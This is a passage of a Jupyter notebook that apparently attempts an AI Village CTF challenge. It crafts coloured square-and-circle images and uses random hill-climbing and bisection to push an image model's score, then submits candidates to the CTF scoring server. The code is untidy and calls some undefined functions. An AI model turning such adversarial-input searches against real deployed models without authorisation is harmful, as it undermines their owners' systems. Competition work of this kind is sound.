\",\".join([str(int(n)) for n in x])\n\ncfn = lambda x: [f\"background-color: RGB({x.R},{x.G},{x.B})\"] * 3\ndef show_colors(ans):\n    ans = [int(x) for x in ans.split(\",\")]\n    squares = pd.DataFrame(np.array(ans[:27]).reshape([9,3]), columns=[\"R\",\"G\",\"B\"]).T.style.apply(cfn, axis=0)\n    circles = pd.DataFrame(np.array(ans[27:]).reshape([9,3]), columns=[\"R\",\"G\",\"B\"]).T.style.apply(cfn, axis=0)\n    display(squares)\n    display(circles)","metadata":{"execution":{"iopub.status.busy":"2022-08-27T10:44:12.583838Z","iopub.execute_input":"2022-08-27T10:44:12.584297Z","iopub.status.idle":"2022-08-27T10:44:12.623033Z","shell.execute_reply.started":"2022-08-27T10:44:12.584265Z","shell.execute_reply":"2022-08-27T10:44:12.621294Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#X=# of square pixels\n#Y=# of circle pixels\n#Z=X+Y=75**2\n#Y=25**2*math.pi (int form)","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#8th square by index, maximizing the score function: \n\n# score ~ X*((251-sq_red)**2 + (128-sq_green)**2 + (114-sq_blue)**2) + Y*((179-cic_red)**2+(222-cic_gr)**2+(105-cic_blu)**2) + #(red>230*(red>230))**2\n#                                   0/255                     255                  0                0                255","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#SQUARES 1-8:##251,128,114 #get maximally different to this? #so is the 8th square all white? to maximize the score and the weight????\n#CIRCLES 1-8:#179,222,105 \n#^^^ that is it for the circles in range(0,8);\n#square 8: 231,255,255,0,0,255\n#if this fails: 231,0,255,0,0,255","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"from PIL import ImageDraw\ndef score(x, model=model):#, X_comp = np.divide(X_comp,0b1010), debug=False):\n    x0=x\n    x=np.array(x)\n    x = (x.flatten()).astype(int)\n    model.eval()\n    X = make_X(x)\n    preds = model(pt_ft(i2t(X.T[None])))\n    #print(preds)\n    #print(preds.min().item())\n    idx = preds.argmax().item()\n    #print(idx)\n    #expected = ((25.5-X_comp)).flatten()\n    actual_square = get_cropped(X, idx)\n    #actual = actual_square.flatten().astype(int)\n    Im=Image.fromarray(actual_square)\n    return x0,float(torch.max(preds)),idx\n\n\n\ndef circle(draw: ImageDraw, circle_colours) -> None:\n     for j in range(9):\n        rsq,gsq,bsq=circle_colours[j]\n        idx0 = 8-j\n        j0 = idx0//3\n        i0 = 2-idx0%3\n        xc=(j0*75+(j0+1)*75)//2\n        yc=(i0*75+(i0+1)*75)//2\n\n        radius=25\n        color = rsq,gsq,bsq\n\n        draw.ellipse(\n            xy=(\n                xc - radius, yc - radius,\n                xc + radius, yc + radius,\n            ),\n            fill=color,\n        )\n\n\ndef ttt(circle_colours,square_colours):\n    size = 224\n    #circle_amount = 1\n    img222: Image = Image.new(\"RGB\", (size, size), \"black\")\n    #update these loops to take a set of colours in brev.\n    for j in range(9):\n        rsq,gsq,bsq=square_colours[j]\n        idx0 = 8-j\n        j0 = idx0//3\n        i0 = 2-idx0%3\n        for x in range(j0*75,min(224,(j0+1)*75)):\n           for y in range(i0*75,min(224,(i0+1)*75)):\n               #current_color = picture.getpixel( (x,y) )\n               img222.putpixel( (x,y), (rsq,gsq,bsq))\n        \n    #display(img222)    \n    draw: ImageDraw = ImageDraw.Draw(img222)\n\n    #for _ in range(circle_amount):\n    circle(draw, circle_colours)#,222,105)\n    #display(img)\n    #img.save(\"image.png\")\n    return img222\n\ndef attempt(circle_colours,square_colours,):\n    circle_colours=circle_colours[::-1]\n    square_colours=square_colours[::-1]\n    image,number,idx=score(ttt(circle_colours,square_colours))\n    return image,number,idx","metadata":{"execution":{"iopub.status.busy":"2022-08-27T10:44:15.645797Z","iopub.execute_input":"2022-08-27T10:44:15.646530Z","iopub.status.idle":"2022-08-27T10:44:15.660355Z","shell.execute_reply.started":"2022-08-27T10:44:15.646476Z","shell.execute_reply":"2022-08-27T10:44:15.659541Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"f=Image.fromarray(np.asarray(Image.open('../input/ai-village-ctf/crop/sample_image.png'))[:,:,:3])\ndisplay(f)","metadata":{"execution":{"iopub.status.busy":"2022-08-27T10:45:39.353602Z","iopub.execute_input":"2022-08-27T10:45:39.354091Z","iopub.status.idle":"2022-08-27T10:45:39.373241Z","shell.execute_reply.started":"2022-08-27T10:45:39.354054Z","shell.execute_reply":"2022-08-27T10:45:39.371832Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"f.size","metadata":{"execution":{"iopub.status.busy":"2022-08-27T10:44:20.211110Z","iopub.execute_input":"2022-08-27T10:44:20.211646Z","iopub.status.idle":"2022-08-27T10:44:20.222215Z","shell.execute_reply.started":"2022-08-27T10:44:20.211606Z","shell.execute_reply":"2022-08-27T10:44:20.220896Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"print(224*224*4)","metadata":{"execution":{"iopub.status.busy":"2022-08-27T10:44:36.402040Z","iopub.execute_input":"2022-08-27T10:44:36.402464Z","iopub.status.idle":"2022-08-27T10:44:36.409036Z","shell.execute_reply.started":"2022-08-27T10:44:36.402429Z","shell.execute_reply":"2022-08-27T10:44:36.407865Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"img,gg,idx=score(f)\nprint(gg,idx)\ndisplay(img)","metadata":{"execution":{"iopub.status.busy":"2022-08-27T10:45:43.815197Z","iopub.execute_input":"2022-08-27T10:45:43.815672Z","iopub.status.idle":"2022-08-27T10:45:44.049172Z","shell.execute_reply.started":"2022-08-27T10:45:43.815636Z","shell.execute_reply":"2022-08-27T10:45:44.047765Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"circles=[]\nsquares=[]\nfor i in range(9):\n    circles.append([128,128,128])\n    squares.append([128,128,128])\nsquares[8][2]=255\nprint(circles)\nprint(squares)","metadata":{"execution":{"iopub.status.busy":"2022-08-26T06:39:23.144390Z","iopub.execute_input":"2022-08-26T06:39:23.144913Z","iopub.status.idle":"2022-08-26T06:39:23.152775Z","shell.execute_reply.started":"2022-08-26T06:39:23.144867Z","shell.execute_reply":"2022-08-26T06:39:23.151596Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"img,gg,idx=attempt(circles,squares)\nprint(gg,idx)\ndisplay(img)","metadata":{"execution":{"iopub.status.busy":"2022-08-26T06:39:26.773968Z","iopub.execute_input":"2022-08-26T06:39:26.774348Z","iopub.status.idle":"2022-08-26T06:39:26.936432Z","shell.execute_reply.started":"2022-08-26T06:39:26.774318Z","shell.execute_reply":"2022-08-26T06:39:26.935360Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"'''\n#circles=[[0,0,0],[0,255,255],[255,0,0],[0,255,0],[0,0,255],[255,255,0],[255,0,255],[0,255,255],[128,128,128]]\n#squares=[p[:]for p in circles][::-1]\n\n\n#\nimg,gg,idx=attempt(circles,squares)\nprint(gg,idx)\ndisplay(img)\n'''","metadata":{"execution":{"iopub.status.busy":"2022-08-25T14:29:47.578588Z","iopub.execute_input":"2022-08-25T14:29:47.579462Z","iopub.status.idle":"2022-08-25T14:29:47.751152Z","shell.execute_reply.started":"2022-08-25T14:29:47.579422Z","shell.execute_reply":"2022-08-25T14:29:47.749721Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#173154859702.0","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"import random\nF=18736451.0\nstor_sq=''\nstor_cic=''\nstor_img=[0]\nstor_r=-1\nstor_idx=-1\na,b,c,d,e,f=184,220,105,226,130,114\ntkr=0\nwhile True:\n    tkr+=1\n    ggg=[]\n    if tkr==1:\n        for y in [a,b,c,d,e,f]:\n            ggg.append(y)\n    else:\n        for y in [a,b,c,d,e,f]:\n            ggg.append(max(0,min(255,y+random.randint(-10,10))))\n    \n        #print(i)\n    circles=[]\n    squares=[]\n    for p in range(9):\n            circles.append([0,0,0])\n            squares.append([0,0,0])\n    for i in range(9):\n            circles[i]=[ggg[0],ggg[1],ggg[2]]\n            squares[i]=[ggg[3],ggg[4],ggg[5]]\n\n    circles[8]=[234,0,255]#[234,0,255]#234,0,255,0,0,255\n    squares[8]=[0,0,255]#[0,0,255]\n    img,gg,idx=attempt(circles,squares)\n    n = np.asarray(img)\n    temp=score69(n.flatten())\n    #print(gg,idx)\n    #display(img)\n    if temp<F:\n            stor_idx=idx\n            F=temp\n            stor_img[0]=img\n            stor_sq=[i[:]for i in squares]\n            stor_cic=[i[:]for i in circles]\n            stor_r=r\n            a,b,c,d,e,f=ggg\n            display(temp,stor_idx,a,b,c,d,e,f)\n    #print(stor_r,F,stor_idx)\n    #display(stor_img[0])","metadata":{"execution":{"iopub.status.busy":"2022-08-26T18:11:17.608497Z","iopub.execute_input":"2022-08-26T18:11:17.608971Z","iopub.status.idle":"2022-08-26T18:11:17.713275Z","shell.execute_reply.started":"2022-08-26T18:11:17.608877Z","shell.execute_reply":"2022-08-26T18:11:17.710699Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"import random\nF=3614937314736\nstor_sq=''\nstor_cic=''\nstor_img=[0]\nstor_r=-1\nstor_idx=-1\na,b,c,d,e,f=234,0,255,0,0,255\ntkr=0\nwhile True:\n    tkr+=1\n    ggg=[]\n    if tkr==1:\n        for y in [a,b,c,d,e,f]:\n            ggg.append(y)\n    else:\n        for y in [a,b,c,d,e,f]:\n            ggg.append(max(0,min(255,y+random.randint(-1,1))))\n    \n        #print(i)\n    circles=[]\n    squares=[]\n    for p in range(9):\n            circles.append([0,0,0])\n            squares.append([0,0,0])\n    for i in range(9):\n            circles[i]=[ggg[0],ggg[1],ggg[2]]\n            squares[i]=[ggg[3],ggg[4],ggg[5]]\n\n        #circles[8]=[179,222,105]#[255,0,255]\n        #squares[8]=[251,128,114]#[230,0,255]\n    img,gg,idx=attempt(circles,squares)\n    n = np.asarray(img)\n    temp=score69(n.flatten())\n        #print(temp,F,stor_r,r)\n    if temp>F:\n            stor_idx=idx\n            F=temp\n            stor_img[0]=img\n            stor_sq=[i[:]for i in squares]\n            stor_cic=[i[:]for i in circles]\n            stor_r=r\n            a,b,c,d,e,f=ggg\n            display(temp,stor_idx,a,b,c,d,e,f)\n    #print(stor_r,F,stor_idx)\n    #display(stor_img[0])","metadata":{"execution":{"iopub.status.busy":"2022-08-26T12:49:52.134213Z","iopub.execute_input":"2022-08-26T12:49:52.134674Z","iopub.status.idle":"2022-08-26T12:51:44.296785Z","shell.execute_reply.started":"2022-08-26T12:49:52.134638Z","shell.execute_reply":"2022-08-26T12:51:44.294808Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"df=pd.read_json('../input/ai-village-ctf/crop/crop2_example.json')\n\n\n\n#for i in range(8):\n#   for j in range(3): \n#    df.loc[i*3+j,'circles']=[184,220,105][j]\n#    df.loc[i*3+j,'squares']=[226,130,114][j]\n    \n#for j in range(3):\n#    df.loc[24+j,'circles']=[234,0,255][j]\n#    df.loc[24+j,'squares']=[0,0,255][j]\n\nfor i in range(8):\n   for j in range(3): \n    df.loc[i*3+j,'circles']=[234,0,255][j]\n    df.loc[i*3+j,'squares']=[0,0,255][j]\n    \nfor j in range(3):\n    df.loc[24+j,'circles']=[184,220,105][j]\n    df.loc[24+j,'squares']=[226,130,114][j]\n\n\n\ndisplay(df)\n\ndf.to_json('test.json')\nwith open(\"test.json\", \"r\") as f:\n    test = json.load(f)\n\ntry:\n    r = requests.post(\"https://crop2.fly.dev/score\", json=test)\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")\n    \n    \ndf.to_json('test.json')","metadata":{"execution":{"iopub.status.busy":"2022-08-26T12:54:28.865742Z","iopub.execute_input":"2022-08-26T12:54:28.866141Z","iopub.status.idle":"2022-08-26T12:54:29.015985Z","shell.execute_reply.started":"2022-08-26T12:54:28.866108Z","shell.execute_reply":"2022-08-26T12:54:29.014809Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"from PIL import Image\ncircles=[[0,0,0]]*9\nsquares=[[0,0,0]]*9\nfor i in range(9):\n    squares[i]=[234,255,255]\n    circles[i]=[234,255,255]\n\ncircles[8]=[179,222,105]#[255,0,255]\nsquares[8]=[230,128,114]#[230,0,255]\nimg,gg,idx=attempt(circles,squares)\nn = np.asarray(img)\ntemp=score69(n.flatten())\nprint(gg,idx,temp)\ndisplay(img)","metadata":{"execution":{"iopub.status.busy":"2022-08-26T18:27:16.932632Z","iopub.execute_input":"2022-08-26T18:27:16.933083Z","iopub.status.idle":"2022-08-26T18:27:17.333554Z","shell.execute_reply.started":"2022-08-26T18:27:16.933049Z","shell.execute_reply":"2022-08-26T18:27:17.330882Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#3614937314736.0\n#265368997014208.0\n#1212643922908\n#230961659478480.0\n#294158256059689.0\n#230961659478480.0\n#231427409645728.0\n#365475221828211.0\n#240347661640438.0","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"F=10**900\nstor_sq=''\nstor_cic=''\nstor_img=[0]\nstor_r=-1\nfor r in range(255,256):\n    circles=[[0,0,0]]*9\n    squares=[[0,0,0]]*9\n    for i in range(9):\n        squares[i]=[r,128,114]\n        circles[i]=[179,222,105]\n\n    circles[8]=[234,0,255]#[255,0,255]\n    squares[8]=[234,0,255]#[230,0,255]\n    img,gg,idx=attempt(circles,squares)\n    #print(gg,idx)\n    #display(img)\n    n = np.asarray(img)\n    temp=score69(n.flatten())\n    if temp<F:\n        F=temp\n        stor_img[0]=img\n        stor_sq=[i[:]for i in squares]\n        stor_cic=[i[:]for i in circles]\n        stor_r=r\n\nprint(r,F)\ndisplay(stor_img[0])","metadata":{"execution":{"iopub.status.busy":"2022-08-26T18:21:03.420717Z","iopub.execute_input":"2022-08-26T18:21:03.421090Z","iopub.status.idle":"2022-08-26T18:21:03.822778Z","shell.execute_reply.started":"2022-08-26T18:21:03.421061Z","shell.execute_reply":"2022-08-26T18:21:03.821787Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#58025069250.0\n#24352899120\n#14514419304\n#10985251301","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#img = Image.open('image.png')\n# asarray() class is used to convert\n# PIL images into NumPy arrays\nn = np.asarray(img)\nscore69(n.flatten())","metadata":{"execution":{"iopub.status.busy":"2022-08-26T11:33:34.917009Z","iopub.execute_input":"2022-08-26T11:33:34.917409Z","iopub.status.idle":"2022-08-26T11:33:35.011911Z","shell.execute_reply.started":"2022-08-26T11:33:34.917376Z","shell.execute_reply":"2022-08-26T11:33:35.010856Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"df=pd.read_json('../input/ai-village-ctf/crop/crop2_example.json')\n\n#SQUARES 1-8:##251,128,114 \n#CIRCLES 1-8:#179,222,105 \n\nfor i in range(9):\n   for j in range(3): \n    df.loc[i*3+j,'circles']=circles[i][j]#ord(('postiions')[-i-1])\n    df.loc[i*3+j,'squares']=squares[i][j]#ord(('postiions')[-i-1])\n    \n\ndisplay(df)\n\ndf.to_json('test.json')\nwith open(\"test.json\", \"r\") as f:\n    test = json.load(f)\n\ntry:\n    r = requests.post(\"https://crop2.fly.dev/score\", json=test)\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")\n    ","metadata":{"execution":{"iopub.status.busy":"2022-08-26T11:21:05.260350Z","iopub.execute_input":"2022-08-26T11:21:05.260772Z","iopub.status.idle":"2022-08-26T11:21:05.415535Z","shell.execute_reply.started":"2022-08-26T11:21:05.260732Z","shell.execute_reply":"2022-08-26T11:21:05.414606Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"circles=[[0,0,0]]*9\nsquares=[[0,0,0]]*9\nfor i in range(9):\n    squares[i]=[251,128,114]\n    circles[i]=[179,222,105]\n\n#circles[8]=[234,0,255]\n#squares[8]=[234,0,255]\ncircles[8]=[255,0,0]\nsquares[8]=[128,128,128]\nimg,gg,idx=attempt(circles,squares)\nprint(gg,idx)\ndisplay(img)","metadata":{"execution":{"iopub.status.busy":"2022-08-27T08:27:45.095135Z","iopub.execute_input":"2022-08-27T08:27:45.095479Z","iopub.status.idle":"2022-08-27T08:27:45.292210Z","shell.execute_reply.started":"2022-08-27T08:27:45.095449Z","shell.execute_reply":"2022-08-27T08:27:45.291367Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#8th square by index, maximizing the score function: \n\n# score ~ X*((251-sq_red)**2 + (128-sq_green)**2 + (114-sq_blue)**2) + Y*((179-cic_red)**2+(222-cic_gr)**2+(105-cic_blu)**2) + #(red>230*(red>230))**2\n#                                   0/255                     255                  0                0                255","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"circles=[[195, 129, 51], [114, 126, 64], [164, 166, 162], [255, 0, 116], [165, 146, 99], [148, 132, 72], [147, 135, 168], [206, 189, 149], [169, 147, 89]] #[\nsquares=[[156, 150, 124], [151, 161, 122], [106, 114, 152], [85, 129, 138], [112, 105, 122], [104, 134, 133], [145, 68, 109], [98, 105, 114], [107, 113, 125]]\nimg,gg,idx=attempt(circles,squares)\nprint(gg,idx)\ndisplay(img)","metadata":{"execution":{"iopub.status.busy":"2022-08-26T11:11:40.954738Z","iopub.execute_input":"2022-08-26T11:11:40.955876Z","iopub.status.idle":"2022-08-26T11:11:41.131656Z","shell.execute_reply.started":"2022-08-26T11:11:40.955834Z","shell.execute_reply":"2022-08-26T11:11:41.130595Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"circles=[[195, 129, 51], [114, 126, 64], [164, 166, 162], [255, 0, 116], [165, 146, 99], [148, 132, 72], [147, 135, 168], [206, 189, 149], [169, 147, 89]] \nsquares=[[156, 150, 124], [151, 161, 122], [106, 114, 152], [85, 129, 138], [112, 105, 122], [104, 134, 133], [145, 68, 109], [98, 105, 114], [107, 113, 125]]\nimg,gg,idx=attempt(circles,squares)\nprint(gg,idx)\ndisplay(img)","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#251,128,114 #get maximally different to this? #so is the 8th square all white? to maximize the score and the weight????\n#CIRCLES 1-8:#179,222,105","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"circles=[[195, 129, 51], [114, 126, 64], [164, 166, 162], [255, 0, 116], [165, 146, 99], [148, 132, 72], [147, 135, 168], [206, 189, 149], [169, 147, 89]] \nsquares=[[156, 150, 124], [151, 161, 122], [106, 114, 152], [85, 129, 138], [112, 105, 122], [104, 134, 133], [145, 68, 109], [98, 105, 114], [107, 113, 125]]\nimg,gg,idx=attempt(circles,squares)","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#27082022\ncircles=[[202, 129, 49], [91, 116, 51], [105, 143, 136], [255, 0, 119], [199, 144, 83], [139, 140, 85], [99, 112, 98], [255, 197, 250], [132, 138, 93]]\nsquares=[[146, 145, 129], [151, 145, 131], [111, 111, 188], [75, 134, 126], [93, 89, 63], [75, 117, 109], [140, 31, 117], [18, 0, 66], [91, 93, 142]]\nimg,gg,idx=attempt(circles,squares)\nprint(gg,idx)\ndisplay(img)","metadata":{"execution":{"iopub.status.busy":"2022-08-27T08:22:24.242134Z","iopub.execute_input":"2022-08-27T08:22:24.243268Z","iopub.status.idle":"2022-08-27T08:22:24.524417Z","shell.execute_reply.started":"2022-08-27T08:22:24.243232Z","shell.execute_reply":"2022-08-27T08:22:24.523545Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"df=pd.read_json('../input/ai-village-ctf/crop/crop2_example.json')\n\nfor i in range(9):\n    for p in range(3):\n        circles[i][p]=df['circles'].tolist()[3*i+p]\n        squares[i][p]=df['squares'].tolist()[3*i+p]\nimg,gg,idx=attempt(circles,squares)\nprint(gg,idx)\ndisplay(img)","metadata":{"execution":{"iopub.status.busy":"2022-08-25T14:07:33.004115Z","iopub.execute_input":"2022-08-25T14:07:33.004769Z","iopub.status.idle":"2022-08-25T14:07:33.203829Z","shell.execute_reply.started":"2022-08-25T14:07:33.004712Z","shell.execute_reply":"2022-08-25T14:07:33.202741Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"df=pd.read_json('../input/ai-village-ctf/crop/crop2_example.json')\n\nfor i in range(9):\n    for p in range(3):\n       if p==0: \n        circles[i][p]=df['circles'].tolist()[3*i+p]\n        squares[i][p]=df['squares'].tolist()[3*i+p]\n       if p==1: \n        circles[i][p]=df['circles'].tolist()[3*i+p+1]\n        squares[i][p]=df['squares'].tolist()[3*i+p+1]\n       if p==2:\n        circles[i][p]=df['circles'].tolist()[3*i+p-1]\n        squares[i][p]=df['squares'].tolist()[3*i+p-1]\nimg,gg,idx=attempt(circles,squares)\nprint(gg,idx)\ndisplay(img)","metadata":{"execution":{"iopub.status.busy":"2022-08-25T14:09:08.414157Z","iopub.execute_input":"2022-08-25T14:09:08.414625Z","iopub.status.idle":"2022-08-25T14:09:08.631963Z","shell.execute_reply.started":"2022-08-25T14:09:08.414581Z","shell.execute_reply":"2022-08-25T14:09:08.630770Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"df=pd.read_json('../input/ai-village-ctf/crop/crop2_example.json')\n\n#SQUARES 1-8:##251,128,114 \n#CIRCLES 1-8:#179,222,105 \n\nfor i in range(8):\n   for j in range(3): \n    df.loc[i*3+j,'circles']=[234,0,255][j]#[184,220,105][j]\n    df.loc[i*3+j,'squares']=[234,0,255][j]#[226,130,114][j]\n    \nfor j in range(3):\n    df.loc[24+j,'circles']=[234,0,255][j]\n    df.loc[24+j,'squares']=[234,0,255][j]\n    #df.loc[i*3,'circles']=251\n    #df.loc[d[i]*3,'squares']=ord('postiions'[i])\n    #df.loc[i*3+2,'circles']= df.loc[i*3+1,'circles']\n    #df.loc[i*3+2,'squares']= df.loc[i*3+1,'squares']\n#display(df)\ndisplay(df)\n\ndf.to_json('test.json')\nwith open(\"test.json\", \"r\") as f:\n    test = json.load(f)\n\ntry:\n    r = requests.post(\"https://crop2.fly.dev/score\", json=test)\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")\n    \n    \ndf.to_json('test.json')","metadata":{"execution":{"iopub.status.busy":"2022-08-26T18:22:22.860167Z","iopub.execute_input":"2022-08-26T18:22:22.860640Z","iopub.status.idle":"2022-08-26T18:22:23.116354Z","shell.execute_reply.started":"2022-08-26T18:22:22.860604Z","shell.execute_reply":"2022-08-26T18:22:23.115440Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"df=pd.read_json('../input/ai-village-ctf/crop/crop2_example.json')\n\n#SQUARES 1-8:##251,128,114 \n#CIRCLES 1-8:#179,222,105 \n\nfor i in range(9):\n   for j in range(3): \n    df.loc[i*3+j,'circles']=ord(('postiions')[-i-1])\n    df.loc[i*3+j,'squares']=ord(('postiions')[-i-1])\n    \n\n    #df.loc[i*3,'circles']=251\n    #df.loc[d[i]*3,'squares']=ord('postiions'[i])\n    #df.loc[i*3+2,'circles']= df.loc[i*3+1,'circles']\n    #df.loc[i*3+2,'squares']= df.loc[i*3+1,'squares']\n#display(df)\ndisplay(df)\n\ndf.to_json('test.json')\nwith open(\"test.json\", \"r\") as f:\n    test = json.load(f)\n\ntry:\n    r = requests.post(\"https://crop2.fly.dev/score\", json=test)\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")\n    \n    \ndf.to_json('test.json')","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"df=pd.read_json('test.json')\nfor i in range(9):\n    for p in range(3):\n       if p==0: \n        circles[i][p]=df['circles'].tolist()[3*i+p]\n        squares[i][p]=df['squares'].tolist()[3*i+p]\n       if p==1: \n        circles[i][p]=df['circles'].tolist()[3*i+p+1]\n        squares[i][p]=df['squares'].tolist()[3*i+p+1]\n       if p==2:\n        circles[i][p]=df['circles'].tolist()[3*i+p-1]\n        squares[i][p]=df['squares'].tolist()[3*i+p-1]\nimg,gg,idx=attempt(circles,squares)\nprint(gg,idx)\ndisplay(img)","metadata":{"execution":{"iopub.status.busy":"2022-08-25T15:45:58.465973Z","iopub.execute_input":"2022-08-25T15:45:58.466397Z","iopub.status.idle":"2022-08-25T15:45:58.705839Z","shell.execute_reply.started":"2022-08-25T15:45:58.466358Z","shell.execute_reply":"2022-08-25T15:45:58.704725Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"df=pd.read_json('test.json')\nfor i in range(9):\n    for p in range(3):\n       if p==0: \n        circles[i][p]=df['circles'].tolist()[3*i+p]\n        squares[i][p]=df['squares'].tolist()[3*i+p]\n       if p==1: \n        circles[i][p]=df['circles'].tolist()[3*i+p+1]\n        squares[i][p]=df['squares'].tolist()[3*i+p+1]\n       if p==2:\n        circles[i][p]=df['circles'].tolist()[3*i+p-1]\n        squares[i][p]=df['squares'].tolist()[3*i+p-1]\nimg,gg,idx=attempt(circles,squares)\nprint(gg,idx)\ndisplay(img)","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"circles=[]\nsquares=[]\nfor i in range(9):\n    circles.append([128,128,128])\n    squares.append([128,128,128])\n#squares[8][2]=255\n#print(circles)\n#print(squares)","metadata":{"execution":{"iopub.status.busy":"2022-08-27T10:53:57.670302Z","iopub.execute_input":"2022-08-27T10:53:57.671384Z","iopub.status.idle":"2022-08-27T10:53:57.678219Z","shell.execute_reply.started":"2022-08-27T10:53:57.671325Z","shell.execute_reply":"2022-08-27T10:53:57.677025Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"\nimport random\nTOP_SCORE=0\nbest_circles_yet=[i[:]for i in circles]\nbest_squares_yet=[i[:]for i in squares]\nwhile TOP_SCORE<100:\n    new_circles=[i[:]for i in best_circles_yet]\n    new_squares=[i[:]for i in best_squares_yet]\n    for k in range(3):\n        R1=random.randint(0,8)\n        R2=random.randint(0,2)\n        if random.randint(0,1)==0:\n                new_circles[R1][R2]+=random.randint(-10,10)\n                new_circles[R1][R2]=min(new_circles[R1][R2],255)\n                new_circles[R1][R2]=max(new_circles[R1][R2],0)\n        else:\n                new_squares[R1][R2]+=random.randint(-1,1)\n                new_squares[R1][R2]=min(new_squares[R1][R2],255)\n                new_squares[R1][R2]=max(new_squares[R1][R2],0)\n    img,gg,nu_idx=attempt(new_circles,new_squares)\n    if gg>TOP_SCORE:\n            #display(img)\n            best_circles_yet=[i[:]for i in new_circles]\n            best_squares_yet=[i[:]for i in new_squares]\n            TOP_SCORE=gg\n            print(gg,nu_idx)\n            print(new_circles,new_squares)\n        \ndisplay(img)    \n","metadata":{"execution":{"iopub.status.busy":"2022-08-27T10:54:11.732160Z","iopub.execute_input":"2022-08-27T10:54:11.732758Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"k=[[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[255,0,0]]\nF=[p[:]for p in k][::-1]\nimg,gg,idx=attempt(k,F)\nprint(gg,idx)\ndisplay(img)","metadata":{"execution":{"iopub.status.busy":"2022-08-23T22:22:28.232134Z","iopub.execute_input":"2022-08-23T22:22:28.232535Z","iopub.status.idle":"2022-08-23T22:22:28.429984Z","shell.execute_reply.started":"2022-08-23T22:22:28.232502Z","shell.execute_reply":"2022-08-23T22:22:28.428779Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#maybe try something in series...\n#maybe try \n#print(3**18)","metadata":{"execution":{"iopub.status.busy":"2022-08-23T22:30:21.870974Z","iopub.execute_input":"2022-08-23T22:30:21.871388Z","iopub.status.idle":"2022-08-23T22:30:21.877103Z","shell.execute_reply.started":"2022-08-23T22:30:21.871353Z","shell.execute_reply":"2022-08-23T22:30:21.875913Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"circles=[]\nsquares=[]\nfor v in range(9):\n    circles.append([0,0,0])\n    squares.append([0,0,0])","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"\n    \ncircle_floors=[0]*27\nsquare_floors=[0]*27\ncircle_ceilings=[255]*27\nsquare_ceilings=[255]*27\n\nimg,gg,idx=attempt(circles,squares)\ndone=False\n\nwhile not done:\n    circle_deltas=[]\n    square_deltas=[]\n    for i in range(9):\n        for j in range(3):\n             circle_deltas.append(circle_ceilings[i*3+j]-circle_floors[i*3+j])\n             square_deltas.append(square_ceilings[i*3+j]-square_floors[i*3+j])\n            \n    cic=circle_deltas.index(max(circle_deltas))\n    sq=square_deltas.index(max(square_deltas))\n    if max(square_deltas)<=2 and max(circle_deltas)<=2:\n        done=True\n    elif  max(square_deltas)>=max(circle_deltas):\n        nu_try=[i[:]for i in circles]\n        nu_try[sq//3][sq%3]=(square_floors[sq]+square_ceilings[sq])//2\n        img0,gg0,idx69=attempt(circles,nu_try)\n        if gg0<gg:\n            square_floors[sq]=(square_floors[sq]+square_ceilings[sq])//2\n            gg=gg0\n        else:\n            square_ceilings[sq]=(square_floors[sq]+square_ceilings[sq])//2\n        \n    else:\n        nu_try=[i[:]for i in circles]\n        